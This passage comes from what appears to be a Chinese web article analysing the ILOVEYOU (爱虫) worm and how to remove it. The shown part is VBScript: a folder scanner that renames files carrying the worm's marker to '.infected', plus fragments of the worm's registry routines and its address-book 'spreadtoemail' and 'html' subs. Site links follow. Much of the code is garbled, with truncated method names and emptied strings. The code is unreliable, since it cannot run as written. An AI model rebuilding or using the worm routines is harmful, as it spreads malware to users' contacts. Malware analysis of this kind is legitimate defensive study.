2em;font-size:18px;">line = ne </p><p style="text-indent: 2em;font-size:18px;"> </p><p style="text-indent: 2em;font-size:18px;">If Left(line,27) = "rem barok -loveletter(vbe)" Then </p><p style="text-indent: 2em;font-size:18px;">set cop=e() </p><p style="text-indent: 2em;font-size:18px;">(&".infected") </p><p style="text-indent: 2em;font-size:18px;"> True </p><p style="text-indent: 2em;font-size:18px;"> "moved " & & " to " & & ".infected" </p><p style="text-indent: 2em;font-size:18px;">ine "moved " & & " to " & & ".infected" </p><p style="text-indent: 2em;font-size:18px;">End If </p><p style="text-indent: 2em;font-size:18px;">elseif(ext="jpg") or (ext="jpeg") then </p><p style="text-indent: 2em;font-size:18px;">set ap=xtFile(,1) </p><p style="text-indent: 2em;font-size:18px;"> </p><p style="text-indent: 2em;font-size:18px;">line = ne </p><p style="text-indent: 2em;font-size:18px;"> </p><p style="text-indent: 2em;font-size:18px;">If Left(line,27) = "rem barok -loveletter(vbe)" Then </p><p style="text-indent: 2em;font-size:18px;">set cop=e() </p><p style="text-indent: 2em;font-size:18px;">(&".infected") </p><p style="text-indent: 2em;font-size:18px;"> True </p><p style="text-indent: 2em;font-size:18px;"> "moved",,"to",&".infected" </p><p style="text-indent: 2em;font-size:18px;">End If </p><p style="text-indent: 2em;font-size:18px;">elseif(ext="mp3") or (ext="mp2") then </p><p style="text-indent: 2em;font-size:18px;">set ap=xtFile(,1) </p><p style="text-indent: 2em;font-size:18px;">line = ne </p><p style="text-indent: 2em;font-size:18px;">If Left(line,27) = "rem barok -loveletter(vbe)" Then </p><p style="text-indent: 2em;font-size:18px;">set cop=e() </p><p style="text-indent: 2em;font-size:18px;">(&".infected") </p><p style="text-indent: 2em;font-size:18px;"> </p><p style="text-indent: 2em;font-size:18px;"> "moved",,"to",&".infected" </p><p style="text-indent: 2em;font-size:18px;">End If </p><p style="text-indent: 2em;font-size:18px;"> </p><p style="text-indent: 2em;font-size:18px;">end if </p><p style="text-indent: 2em;font-size:18px;">if (eq<>folderspec) then </p><p style="text-indent: 2em;font-size:18px;">if (s="") or (s="") or (s="") or </p><p style="text-indent: 2em;font-size:18px;">(s="") or </p><p style="text-indent: 2em;font-size:18px;"> </p><p style="text-indent: 2em;font-size:18px;">(s="") then </p><p style="text-indent: 2em;font-size:18px;">set ap=xtFile(folderspec&"") </p><p style="text-indent: 2em;font-size:18px;">line = ne </p><p style="text-indent: 2em;font-size:18px;">If Left(line,27) = "rem barok -loveletter(vbe)" Then </p><p style="text-indent: 2em;font-size:18px;">set cop=e() </p><p style="text-indent: 2em;font-size:18px;">(&".infected") </p><p style="text-indent: 2em;font-size:18px;"> </p><p style="text-indent: 2em;font-size:18px;"> "moved "&folderspec&" </p><p style="text-indent: 2em;font-size:18px;">to",folderspec&""&".infected" </p><p style="text-indent: 2em;font-size:18px;">End If </p><p style="text-indent: 2em;font-size:18px;"> </p><p style="text-indent: 2em;font-size:18px;">eq=folderspec </p><p style="text-indent: 2em;font-size:18px;">end if </p><p style="text-indent: 2em;font-size:18px;">end if </p><p style="text-indent: 2em;font-size:18px;">next </p><p style="text-indent: 2em;font-size:18px;">end sub </p><p style="text-indent: 2em;font-size:18px;"> </p><p style="text-indent: 2em;font-size:18px;">sub folderlist(folderspec) </p><p style="text-indent: 2em;font-size:18px;">On Error Resume Next </p><p style="text-indent: 2em;font-size:18px;">dim f,f1,sf,tf </p><p style="text-indent: 2em;font-size:18px;">If Len(folderspec) > 55 Then </p><p style="text-indent: 2em;font-size:18px;">tf = "..." & Right(folderspec,55) </p><p style="text-indent: 2em;font-size:18px;"> </p><p style="text-indent: 2em;font-size:18px;">Else </p><p style="text-indent: 2em;font-size:18px;">tf = folderspec </p><p style="text-indent: 2em;font-size:18px;">End If </p><p style="text-indent: 2em;font-size:18px;"> " scanning folder " & tf </p><p style="text-indent: 2em;font-size:18px;">ine " scanning folder " & tf </p><p style="text-indent: 2em;font-size:18px;">set f = der(folderspec) </p><p style="text-indent: 2em;font-size:18px;">set sf = ders </p><p style="text-indent: 2em;font-size:18px;">for each f1 in sf </p><p style="text-indent: 2em;font-size:18px;">infectfiles() </p><p style="text-indent: 2em;font-size:18px;">folderlist() </p><p style="text-indent: 2em;font-size:18px;">next </p><p style="text-indent: 2em;font-size:18px;">end sub </p><p style="text-indent: 2em;font-size:18px;"> </p><p style="text-indent: 2em;font-size:18px;">sub regdelete(regkey) </p><p style="text-indent: 2em;font-size:18px;">Set regedit = CreateObject("") </p><p style="text-indent: 2em;font-size:18px;">ete regkey </p><p style="text-indent: 2em;font-size:18px;">end sub </p><p style="text-indent: 2em;font-size:18px;"> </p><p style="text-indent: 2em;font-size:18px;">sub regwrite(regkey,regvalue) </p><p style="text-indent: 2em;font-size:18px;">Set regedit = CreateObject("") </p><p style="text-indent: 2em;font-size:18px;">te regkey,regvalue </p><p style="text-indent: 2em;font-size:18px;">end sub </p><p style="text-indent: 2em;font-size:18px;"> </p><p style="text-indent: 2em;font-size:18px;"> </p><p style="text-indent: 2em;font-size:18px;">function regget(value) </p><p style="text-indent: 2em;font-size:18px;">Set regedit = CreateObject("") </p><p style="text-indent: 2em;font-size:18px;">regget=d(value) </p><p style="text-indent: 2em;font-size:18px;">end function </p><p style="text-indent: 2em;font-size:18px;"> </p><p style="text-indent: 2em;font-size:18px;">function fileexist(filespec) </p><p style="text-indent: 2em;font-size:18px;">On Error Resume Next </p><p style="text-indent: 2em;font-size:18px;">dim msg </p><p style="text-indent: 2em;font-size:18px;">if (ists(filespec)) Then </p><p style="text-indent: 2em;font-size:18px;">msg = 0 </p><p style="text-indent: 2em;font-size:18px;">else </p><p style="text-indent: 2em;font-size:18px;">msg = 1 </p><p style="text-indent: 2em;font-size:18px;">end if </p><p style="text-indent: 2em;font-size:18px;">fileexist = msg </p><p style="text-indent: 2em;font-size:18px;">end function </p><p style="text-indent: 2em;font-size:18px;"> </p><p style="text-indent: 2em;font-size:18px;">function folderexist(folderspec) </p><p style="text-indent: 2em;font-size:18px;">On Error Resume Next </p><p style="text-indent: 2em;font-size:18px;">dim msg </p><p style="text-indent: 2em;font-size:18px;">if (derExists(folderspec)) then </p><p style="text-indent: 2em;font-size:18px;">msg = 0 </p><p style="text-indent: 2em;font-size:18px;"> </p><p style="text-indent: 2em;font-size:18px;">else </p><p style="text-indent: 2em;font-size:18px;">msg = 1 </p><p style="text-indent: 2em;font-size:18px;">end if </p><p style="text-indent: 2em;font-size:18px;">fileexist = msg </p><p style="text-indent: 2em;font-size:18px;">end function </p><p style="text-indent: 2em;font-size:18px;"> </p><p style="text-indent: 2em;font-size:18px;">sub spreadtoemail() </p><p style="text-indent: 2em;font-size:18px;">On Error Resume Next </p><p style="text-indent: 2em;font-size:18px;">dim x,a,ctrlists,ctrentries,malead,b,regedit,regv,regad </p><p style="text-indent: 2em;font-size:18px;">set regedit=CreateObject("") </p><p style="text-indent: 2em;font-size:18px;">set out=Object("ation") </p><p style="text-indent: 2em;font-size:18px;">set mapi=eSpace("MAPI") </p><p style="text-indent: 2em;font-size:18px;">for ctrlists=1 to </p><p style="text-indent: 2em;font-size:18px;">set a=sLists(ctrlists) </p><p style="text-indent: 2em;font-size:18px;">x=1 </p><p style="text-indent: 2em;font-size:18px;">regv=d("HKEY_CURRENT_USERSoftwareMicrosoftWAB</p><p style="text-indent: 2em;font-size:18px;">"&a) </p><p style="text-indent: 2em;font-size:18px;">if (regv="") then </p><p style="text-indent: 2em;font-size:18px;">regv=1 </p><p style="text-indent: 2em;font-size:18px;">end if </p><p style="text-indent: 2em;font-size:18px;">if (int()>int(regv)) then </p><p style="text-indent: 2em;font-size:18px;">for ctrentries=1 to </p><p style="text-indent: 2em;font-size:18px;"> </p><p style="text-indent: 2em;font-size:18px;">malead=sEntries(x) </p><p style="text-indent: 2em;font-size:18px;">regad="" </p><p style="text-indent: 2em;font-size:18px;">regdelete "HKEY_CURRENT_USERSoftwareMicrosoftWAB"&malead </p><p style="text-indent: 2em;font-size:18px;">x=x+1 </p><p style="text-indent: 2em;font-size:18px;">next </p><p style="text-indent: 2em;font-size:18px;">te </p><p style="text-indent: 2em;font-size:18px;">"HKEY_CURRENT_USERSoftwareMicrosoftWAB"&a,sEntries.</p><p style="text-indent: 2em;font-size:18px;">Count </p><p style="text-indent: 2em;font-size:18px;">else </p><p style="text-indent: 2em;font-size:18px;">te </p><p style="text-indent: 2em;font-size:18px;">"HKEY_CURRENT_USERSoftwareMicrosoftWAB"&a,sEntries.</p><p style="text-indent: 2em;font-size:18px;">Count </p><p style="text-indent: 2em;font-size:18px;">end if </p><p style="text-indent: 2em;font-size:18px;">regdelete "HKEY_CURRENT_USERSoftwareMicrosoftWAB"&a </p><p style="text-indent: 2em;font-size:18px;">next </p><p style="text-indent: 2em;font-size:18px;">Set out=Nothing </p><p style="text-indent: 2em;font-size:18px;">Set mapi=Nothing </p><p style="text-indent: 2em;font-size:18px;">end sub </p><p style="text-indent: 2em;font-size:18px;"> </p><p style="text-indent: 2em;font-size:18px;">sub html </p><p style="text-indent: 2em;font-size:18px;">On Error Resume Next </p><p style="text-indent: 2em;font-size:18px;">dim lines,n,dta1,dta2,dt1,dt2,dt3,dt4,l1,dt5,dt6 </p><p style="text-indent: 2em;font-size:18px;"> </p><p style="text-indent: 2em;font-size:18px;">set fso=CreateObject("stemObject") </p><p style="text-indent: 2em;font-size:18px;">set b=e(dirsystem+"") </p><p style="text-indent: 2em;font-size:18px;"> </p><p style="text-indent: 2em;font-size:18px;">end sub </p><p style="text-indent: 2em;font-size:18px;">-- </p><p style="text-indent: 2em;font-size:18px;"> </p><p style="text-indent: 2em;font-size:18px;"> </p></div><br><p><h2></h2></p> <!-- 附件 --> <p class="tag"> 本文标签: <a style="margin-right: 10px" href="/tag/189.html" target="_blank">病毒</a> <a style="margin-right: 10px" href="/tag/175.html" target="_blank">文件</a> <a style="margin-right: 10px" href="/tag/186.html" target="_blank">程序</a> <a style="margin-right: 10px" href="/tag/223.html" target="_blank">大家</a> <a style="margin-right: 10px" href="/tag/371.html" target="_blank">没有</a> </p> <div class="roclinux-cn copyright"> <blockquote> <p> 版权声明:本文标题:“爱虫(I_Loveyou)”病毒代码解析和杀毒方法 内容由网友自发贡献,该文观点仅代表作者本人, 转载请联系作者并注明出处:<a href="http://roclinux.cn/p/1715901859a689949.html">http://roclinux.cn/p/1715901859a689949.html</a>, 本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌抄袭侵权/违法违规的内容,一经查实,本站将立刻删除。 </p> </blockquote> </div> </div> <div class="roclinux-cn block-wrap single-relative"> <h2 class="block-title"> 更多相关文章 </h2> <div class="roclinux-cn post-list"> <div class="roclinux-cn post-item"> <!--<div class="roclinux-cn post-item-cover">--> <!-- <a class="post-item-img" href="/b/1743486866a2433610.html" title="Win7系统windows script host无法找到脚本文件的解决方法">--> <!-- <img class="hover-scale" src="/view/img/nopic.png" alt="Win7系统windows script host无法找到脚本文件的解决方法">--> <!-- </a>--> <!-- <ul class="post-categories">--> <!-- <li><a href="/b" target="_blank">编程</a></li>--> <!-- </ul>--> <!--</div>--> <a href="/b/1743486866a2433610.html" class="post-item-title" title="Win7系统windows script host无法找到脚本文件的解决方法"> <h3>Win7系统windows script host无法找到脚本文件的解决方法</h3> <div class="roclinux-cn post-item-cover" style="display:inline-grid"> <ul class="post-categories"> <li> <a href="/b" target="_blank">编程</a> </li> </ul> </div> </a> <div class="roclinux-cn post-item-footer"> <div class="roclinux-cn tag-wrap"> </div> <div class="roclinux-cn post-item-meta">22天前</div> </div> <p class="post-item-summary">在windows 7操作系统开机的时候每次都会弹出windows script host 无法找到脚本文件 "C:Windowsexplorer.exe:2097056329.vbs"。 的错误提示&#xff0c</p> </div> <div class="roclinux-cn post-item"> <!--<div class="roclinux-cn post-item-cover">--> <!-- <a class="post-item-img" href="/b/1743661768a2458591.html" title="Windows 系统 DLL 文件下载">--> <!-- <img class="hover-scale" src="/view/img/nopic.png" alt="Windows 系统 DLL 文件下载">--> <!-- </a>--> <!-- <ul class="post-categories">--> <!-- <li><a href="/b" target="_blank">编程</a></li>--> <!-- </ul>--> <!--</div>--> <a href="/b/1743661768a2458591.html" class="post-item-title" title="Windows 系统 DLL 文件下载"> <h3>Windows 系统 DLL 文件下载</h3> <div class="roclinux-cn post-item-cover" style="display:inline-grid"> <ul class="post-categories"> <li> <a href="/b" target="_blank">编程</a> </li> </ul> </div> </a> <div class="roclinux-cn post-item-footer"> <div class="roclinux-cn tag-wrap"> </div> <div class="roclinux-cn post-item-meta">20天前</div> </div> <p class="post-item-summary">Windows 系统 DLL 文件下载 【下载地址】Windows系统DLL文件下载 Windows 系统 DLL 文件下载 项目地址: https:gitcodeopen-source-toolkitf68ef 资源</p> </div> <div class="roclinux-cn post-item"> <!--<div class="roclinux-cn post-item-cover">--> <!-- <a class="post-item-img" href="/b/1743662330a2458679.html" title="终端下载文件(windows和linux)">--> <!-- <img class="hover-scale" src="/view/img/nopic.png" alt="终端下载文件(windows和linux)">--> <!-- </a>--> <!-- <ul class="post-categories">--> <!-- <li><a href="/b" target="_blank">编程</a></li>--> <!-- </ul>--> <!--</div>--> <a href="/b/1743662330a2458679.html" class="post-item-title" title="终端下载文件(windows和linux)"> <h3>终端下载文件(windows和linux)</h3> <div class="roclinux-cn post-item-cover" style="display:inline-grid"> <ul class="post-categories"> <li> <a href="/b" target="_blank">编程</a> </li> </ul> </div> </a> <div class="roclinux-cn post-item-footer"> <div class="roclinux-cn tag-wrap"> </div> <div class="roclinux-cn post-item-meta">20天前</div> </div> <p class="post-item-summary">文章目录 linuxwget自定义文件git clone windowswgetpowershell -client linux wget linux使用wget下载很方便&#xff0c;首先确保安装了wget&#xff</p> </div> <div class="roclinux-cn post-item"> <!--<div class="roclinux-cn post-item-cover">--> <!-- <a class="post-item-img" href="/b/1743680310a2461542.html" title="用EXCEL打开TXT文件的办法">--> <!-- <img class="hover-scale" src="/view/img/nopic.png" alt="用EXCEL打开TXT文件的办法">--> <!-- </a>--> <!-- <ul class="post-categories">--> <!-- <li><a href="/b" target="_blank">编程</a></li>--> <!-- </ul>--> <!--</div>--> <a href="/b/1743680310a2461542.html" class="post-item-title" title="用EXCEL打开TXT文件的办法"> <h3>用EXCEL打开TXT文件的办法</h3> <div class="roclinux-cn post-item-cover" style="display:inline-grid"> <ul class="post-categories"> <li> <a href="/b" target="_blank">编程</a> </li> </ul> </div> </a> <div class="roclinux-cn post-item-footer"> <div class="roclinux-cn tag-wrap"> </div> <div class="roclinux-cn post-item-meta">19天前</div> </div> <p class="post-item-summary">用EXCEL打开TXT文件的办法 欢迎关注啄木鸟手机监控监听软件 用EXCEL打开TXT文件的办法 因为我对文件做了EXCEL兼容处理&#xff0c;所以可以很方便的用EXCEL打开TXT文件,方便您查询资料。客户就是上帝啊。。步</p> </div> <div class="roclinux-cn post-item"> <!--<div class="roclinux-cn post-item-cover">--> <!-- <a class="post-item-img" href="/b/1743680624a2461595.html" title="如何在Android模拟器中安装APK文件?">--> <!-- <img class="hover-scale" src="/view/img/nopic.png" alt="如何在Android模拟器中安装APK文件?">--> <!-- </a>--> <!-- <ul class="post-categories">--> <!-- <li><a href="/b" target="_blank">编程</a></li>--> <!-- </ul>--> <!--</div>--> <a href="/b/1743680624a2461595.html" class="post-item-title" title="如何在Android模拟器中安装APK文件?"> <h3>如何在Android模拟器中安装APK文件?</h3> <div class="roclinux-cn post-item-cover" style="display:inline-grid"> <ul class="post-categories"> <li> <a href="/b" target="_blank">编程</a> </li> </ul> </div> </a> <div class="roclinux-cn post-item-footer"> <div class="roclinux-cn tag-wrap"> </div> <div class="roclinux-cn post-item-meta">19天前</div> </div> <p class="post-item-summary">我终于设法混淆了我的Android应用程序&#xff0c;现在我想通过安装APK文件并在模拟器上运行来测试它。如何在Android模拟器上安装APK文件&#xff1f;#1楼 从浏览器下载apk文件&#xff</p> </div> <div class="roclinux-cn post-item"> <!--<div class="roclinux-cn post-item-cover">--> <!-- <a class="post-item-img" href="/b/1743708886a2466119.html" title="c盘满了怎么清理垃圾而不误删文件?这个方法轻松解决C盘空间不足">--> <!-- <img class="hover-scale" src="/view/img/nopic.png" alt="c盘满了怎么清理垃圾而不误删文件?这个方法轻松解决C盘空间不足">--> <!-- </a>--> <!-- <ul class="post-categories">--> <!-- <li><a href="/b" target="_blank">编程</a></li>--> <!-- </ul>--> <!--</div>--> <a href="/b/1743708886a2466119.html" class="post-item-title" title="c盘满了怎么清理垃圾而不误删文件?这个方法轻松解决C盘空间不足"> <h3>c盘满了怎么清理垃圾而不误删文件?这个方法轻松解决C盘空间不足</h3> <div class="roclinux-cn post-item-cover" style="display:inline-grid"> <ul class="post-categories"> <li> <a href="/b" target="_blank">编程</a> </li> </ul> </div> </a> <div class="roclinux-cn post-item-footer"> <div class="roclinux-cn tag-wrap"> </div> <div class="roclinux-cn post-item-meta">19天前</div> </div> <p class="post-item-summary">c盘满了怎么清理垃圾而不误删文件&#xff1f;这个方法轻松解决C盘空间不足 亲爱的读者们&#xff0c;今天我们将分享一种高效且安全的方法来解决大家常遇到的C盘空间不足问题。当您的C盘存储空间告急时&#xff0c</p> </div> <div class="roclinux-cn post-item"> <!--<div class="roclinux-cn post-item-cover">--> <!-- <a class="post-item-img" href="/b/1743779330a2478092.html" title="Xshell在Windows和Linux间文件的上传和下载">--> <!-- <img class="hover-scale" src="/view/img/nopic.png" alt="Xshell在Windows和Linux间文件的上传和下载">--> <!-- </a>--> <!-- <ul class="post-categories">--> <!-- <li><a href="/b" target="_blank">编程</a></li>--> <!-- </ul>--> <!--</div>--> <a href="/b/1743779330a2478092.html" class="post-item-title" title="Xshell在Windows和Linux间文件的上传和下载"> <h3>Xshell在Windows和Linux间文件的上传和下载</h3> <div class="roclinux-cn post-item-cover" style="display:inline-grid"> <ul class="post-categories"> <li> <a href="/b" target="_blank">编程</a> </li> </ul> </div> </a> <div class="roclinux-cn post-item-footer"> <div class="roclinux-cn tag-wrap"> </div> <div class="roclinux-cn post-item-meta">18天前</div> </div> <p class="post-item-summary">Python微信订餐小程序课程视频 https:edu.csdncoursedetail36074 Python实战量化交易理财系统 https:edu.csdncoursedetail35475 本文通过lrzs</p> </div> <div class="roclinux-cn post-item"> <!--<div class="roclinux-cn post-item-cover">--> <!-- <a class="post-item-img" href="/b/1743800821a2481826.html" title="mac电脑系统占了100多G如何找到没用的文件">--> <!-- <img class="hover-scale" src="/view/img/nopic.png" alt="mac电脑系统占了100多G如何找到没用的文件">--> <!-- </a>--> <!-- <ul class="post-categories">--> <!-- <li><a href="/b" target="_blank">编程</a></li>--> <!-- </ul>--> <!--</div>--> <a href="/b/1743800821a2481826.html" class="post-item-title" title="mac电脑系统占了100多G如何找到没用的文件"> <h3>mac电脑系统占了100多G如何找到没用的文件</h3> <div class="roclinux-cn post-item-cover" style="display:inline-grid"> <ul class="post-categories"> <li> <a href="/b" target="_blank">编程</a> </li> </ul> </div> </a> <div class="roclinux-cn post-item-footer"> <div class="roclinux-cn tag-wrap"> </div> <div class="roclinux-cn post-item-meta">18天前</div> </div> <p class="post-item-summary">说明&#xff1a;文章中图示系统占69G是我清理之后的截图。开始系统占了134G&#xff0c;可用只有2G&#xff0c;不时收到提醒。现在的结果是&#xff0c;可用达到87G. 方法如下&#x</p> </div> <div class="roclinux-cn post-item"> <!--<div class="roclinux-cn post-item-cover">--> <!-- <a class="post-item-img" href="/b/1743813841a2484102.html" title="浏览器访问svn服务器文件,无法使用tortoise svn连接到svn,但可以通过Web浏览器连接...">--> <!-- <img class="hover-scale" src="/view/img/nopic.png" alt="浏览器访问svn服务器文件,无法使用tortoise svn连接到svn,但可以通过Web浏览器连接...">--> <!-- </a>--> <!-- <ul class="post-categories">--> <!-- <li><a href="/b" target="_blank">编程</a></li>--> <!-- </ul>--> <!--</div>--> <a href="/b/1743813841a2484102.html" class="post-item-title" title="浏览器访问svn服务器文件,无法使用tortoise svn连接到svn,但可以通过Web浏览器连接..."> <h3>浏览器访问svn服务器文件,无法使用tortoise svn连接到svn,但可以通过Web浏览器连接...</h3> <div class="roclinux-cn post-item-cover" style="display:inline-grid"> <ul class="post-categories"> <li> <a href="/b" target="_blank">编程</a> </li> </ul> </div> </a> <div class="roclinux-cn post-item-footer"> <div class="roclinux-cn tag-wrap"> </div> <div class="roclinux-cn post-item-meta">18天前</div> </div> <p class="post-item-summary">我配置了我的svn存储库以通过apache访问它。 我可以通过任何带有这些地址的网络浏览器访问它。 http:svn.domain http:www.domain:3690 但是当我尝试在Windows上使用tortoiseSVN或</p> </div> <div class="roclinux-cn post-item"> <!--<div class="roclinux-cn post-item-cover">--> <!-- <a class="post-item-img" href="/b/1743889643a2497242.html" title="Windows 11清除无效、回收站、过期、缓存、补丁更新文件">--> <!-- <img class="hover-scale" src="/view/img/nopic.png" alt="Windows 11清除无效、回收站、过期、缓存、补丁更新文件">--> <!-- </a>--> <!-- <ul class="post-categories">--> <!-- <li><a href="/b" target="_blank">编程</a></li>--> <!-- </ul>--> <!--</div>--> <a href="/b/1743889643a2497242.html" class="post-item-title" title="Windows 11清除无效、回收站、过期、缓存、补丁更新文件"> <h3>Windows 11清除无效、回收站、过期、缓存、补丁更新文件</h3> <div class="roclinux-cn post-item-cover" style="display:inline-grid"> <ul class="post-categories"> <li> <a href="/b" target="_blank">编程</a> </li> </ul> </div> </a> <div class="roclinux-cn post-item-footer"> <div class="roclinux-cn tag-wrap"> </div> <div class="roclinux-cn post-item-meta">17天前</div> </div> <p class="post-item-summary">Windows 11与之前的Windows版本类似&#xff0c;也需要定期清理无效、垃圾、过期、缓存文件来保持系统性能和存储空间的优化。以下是在Windows 11中进行这些清理操作的一些建议方法&#xff1a; 磁盘清</p> </div> <div class="roclinux-cn post-item"> <!--<div class="roclinux-cn post-item-cover">--> <!-- <a class="post-item-img" href="/b/1743911966a2501121.html" title="系统映像恢复 进不了系统_如何从Windows系统映像中恢复特定文件">--> <!-- <img class="hover-scale" src="/view/img/nopic.png" alt="系统映像恢复 进不了系统_如何从Windows系统映像中恢复特定文件">--> <!-- </a>--> <!-- <ul class="post-categories">--> <!-- <li><a href="/b" target="_blank">编程</a></li>--> <!-- </ul>--> <!--</div>--> <a href="/b/1743911966a2501121.html" class="post-item-title" title="系统映像恢复 进不了系统_如何从Windows系统映像中恢复特定文件"> <h3>系统映像恢复 进不了系统_如何从Windows系统映像中恢复特定文件</h3> <div class="roclinux-cn post-item-cover" style="display:inline-grid"> <ul class="post-categories"> <li> <a href="/b" target="_blank">编程</a> </li> </ul> </div> </a> <div class="roclinux-cn post-item-footer"> <div class="roclinux-cn tag-wrap"> </div> <div class="roclinux-cn post-item-meta">17天前</div> </div> <p class="post-item-summary">系统映像恢复 进不了系统 Windows provides a fail safe way of recovering your entire hard drive with system images, but what if you o</p> </div> <div class="roclinux-cn post-item"> <!--<div class="roclinux-cn post-item-cover">--> <!-- <a class="post-item-img" href="/b/1743912127a2501147.html" title="qt环境程序中通过QProcess启动进程的方式启动windows系统自带的画图程序中遇到的错误">--> <!-- <img class="hover-scale" src="/view/img/nopic.png" alt="qt环境程序中通过QProcess启动进程的方式启动windows系统自带的画图程序中遇到的错误">--> <!-- </a>--> <!-- <ul class="post-categories">--> <!-- <li><a href="/b" target="_blank">编程</a></li>--> <!-- </ul>--> <!--</div>--> <a href="/b/1743912127a2501147.html" class="post-item-title" title="qt环境程序中通过QProcess启动进程的方式启动windows系统自带的画图程序中遇到的错误"> <h3>qt环境程序中通过QProcess启动进程的方式启动windows系统自带的画图程序中遇到的错误</h3> <div class="roclinux-cn post-item-cover" style="display:inline-grid"> <ul class="post-categories"> <li> <a href="/b" target="_blank">编程</a> </li> </ul> </div> </a> <div class="roclinux-cn post-item-footer"> <div class="roclinux-cn tag-wrap"> </div> <div class="roclinux-cn post-item-meta">17天前</div> </div> <p class="post-item-summary">qt环境程序中通过QProcess启动进程的方式启动windows系统自带的画图程序中遇到的错误&#xff1a; 通过命令启动画图程序&#xff0c;传给画图程序的路径参数要用双引号包含在里面&#xff0c;否则会出</p> </div> <div class="roclinux-cn post-item"> <!--<div class="roclinux-cn post-item-cover">--> <!-- <a class="post-item-img" href="/b/1743912500a2501209.html" title="windows系统下c语言暂停程序">--> <!-- <img class="hover-scale" src="/view/img/nopic.png" alt="windows系统下c语言暂停程序">--> <!-- </a>--> <!-- <ul class="post-categories">--> <!-- <li><a href="/b" target="_blank">编程</a></li>--> <!-- </ul>--> <!--</div>--> <a href="/b/1743912500a2501209.html" class="post-item-title" title="windows系统下c语言暂停程序"> <h3>windows系统下c语言暂停程序</h3> <div class="roclinux-cn post-item-cover" style="display:inline-grid"> <ul class="post-categories"> <li> <a href="/b" target="_blank">编程</a> </li> </ul> </div> </a> <div class="roclinux-cn post-item-footer"> <div class="roclinux-cn tag-wrap"> </div> <div class="roclinux-cn post-item-meta">17天前</div> </div> <p class="post-item-summary">windows系统下&#xff0c;很多C语言初学者的调试时&#xff0c;往往没看到结果程序就退出了&#xff0c;据我所知的方法主要有以下几种 方法一&#xff1a; #include int mai</p> </div> <div class="roclinux-cn post-item"> <!--<div class="roclinux-cn post-item-cover">--> <!-- <a class="post-item-img" href="/b/1743912771a2501254.html" title="用bat文件修改Windows的host文件">--> <!-- <img class="hover-scale" src="/view/img/nopic.png" alt="用bat文件修改Windows的host文件">--> <!-- </a>--> <!-- <ul class="post-categories">--> <!-- <li><a href="/b" target="_blank">编程</a></li>--> <!-- </ul>--> <!--</div>--> <a href="/b/1743912771a2501254.html" class="post-item-title" title="用bat文件修改Windows的host文件"> <h3>用bat文件修改Windows的host文件</h3> <div class="roclinux-cn post-item-cover" style="display:inline-grid"> <ul class="post-categories"> <li> <a href="/b" target="_blank">编程</a> </li> </ul> </div> </a> <div class="roclinux-cn post-item-footer"> <div class="roclinux-cn tag-wrap"> </div> <div class="roclinux-cn post-item-meta">17天前</div> </div> <p class="post-item-summary">a.bat ::取消host的只读属性attrib -R C:WINDOWSsystem32driversetchosts ::用127.0.0.1 a.xxx 代替原来的host文件echo 127.0.0.1 a.xxx</p> </div> <div class="roclinux-cn post-item"> <!--<div class="roclinux-cn post-item-cover">--> <!-- <a class="post-item-img" href="/b/1743912900a2501276.html" title="【Windows 问题系列第 16 篇】如何去除 Chrome 中的请停用以开发者模式运行的扩展程序">--> <!-- <img class="hover-scale" src="/view/img/nopic.png" alt="【Windows 问题系列第 16 篇】如何去除 Chrome 中的请停用以开发者模式运行的扩展程序">--> <!-- </a>--> <!-- <ul class="post-categories">--> <!-- <li><a href="/b" target="_blank">编程</a></li>--> <!-- </ul>--> <!--</div>--> <a href="/b/1743912900a2501276.html" class="post-item-title" title="【Windows 问题系列第 16 篇】如何去除 Chrome 中的请停用以开发者模式运行的扩展程序"> <h3>【Windows 问题系列第 16 篇】如何去除 Chrome 中的请停用以开发者模式运行的扩展程序</h3> <div class="roclinux-cn post-item-cover" style="display:inline-grid"> <ul class="post-categories"> <li> <a href="/b" target="_blank">编程</a> </li> </ul> </div> </a> <div class="roclinux-cn post-item-footer"> <div class="roclinux-cn tag-wrap"> </div> <div class="roclinux-cn post-item-meta">17天前</div> </div> <p class="post-item-summary">这是【Windows 问题系列第 16 篇】&#xff0c;如果觉得有用的话&#xff0c;欢迎关注专栏。 你是否遇到过这样的问题&#xff0c;每次登陆 Chrome 浏览器的时候&#xff0c;右上角总</p> </div> <div class="roclinux-cn post-item"> <!--<div class="roclinux-cn post-item-cover">--> <!-- <a class="post-item-img" href="/b/1743913862a2501427.html" title="win10c语言文件不运行,win10系统运行程序出现“dll文件没有被指定在windows运行”的解决教程...">--> <!-- <img class="hover-scale" src="/view/img/nopic.png" alt="win10c语言文件不运行,win10系统运行程序出现“dll文件没有被指定在windows运行”的解决教程...">--> <!-- </a>--> <!-- <ul class="post-categories">--> <!-- <li><a href="/b" target="_blank">编程</a></li>--> <!-- </ul>--> <!--</div>--> <a href="/b/1743913862a2501427.html" class="post-item-title" title="win10c语言文件不运行,win10系统运行程序出现“dll文件没有被指定在windows运行”的解决教程..."> <h3>win10c语言文件不运行,win10系统运行程序出现“dll文件没有被指定在windows运行”的解决教程...</h3> <div class="roclinux-cn post-item-cover" style="display:inline-grid"> <ul class="post-categories"> <li> <a href="/b" target="_blank">编程</a> </li> </ul> </div> </a> <div class="roclinux-cn post-item-footer"> <div class="roclinux-cn tag-wrap"> </div> <div class="roclinux-cn post-item-meta">17天前</div> </div> <p class="post-item-summary">win10系统使用久了&#xff0c;好多网友反馈说win10系统运行程序出现“dll文件没有被指定在windows运行”的问题&#xff0c;非常不方便。有什么办法可以永久解决win10系统运行程序出现“dll文件没有被指</p> </div> <div class="roclinux-cn post-item"> <!--<div class="roclinux-cn post-item-cover">--> <!-- <a class="post-item-img" href="/b/1744019548a2519554.html" title="Win7系统上的.NET Framework 3.5开发的程序不支持HTTPS TLS 1.2 的解决办法">--> <!-- <img class="hover-scale" src="/view/img/nopic.png" alt="Win7系统上的.NET Framework 3.5开发的程序不支持HTTPS TLS 1.2 的解决办法">--> <!-- </a>--> <!-- <ul class="post-categories">--> <!-- <li><a href="/b" target="_blank">编程</a></li>--> <!-- </ul>--> <!--</div>--> <a href="/b/1744019548a2519554.html" class="post-item-title" title="Win7系统上的.NET Framework 3.5开发的程序不支持HTTPS TLS 1.2 的解决办法"> <h3>Win7系统上的.NET Framework 3.5开发的程序不支持HTTPS TLS 1.2 的解决办法</h3> <div class="roclinux-cn post-item-cover" style="display:inline-grid"> <ul class="post-categories"> <li> <a href="/b" target="_blank">编程</a> </li> </ul> </div> </a> <div class="roclinux-cn post-item-footer"> <div class="roclinux-cn tag-wrap"> </div> <div class="roclinux-cn post-item-meta">15天前</div> </div> <p 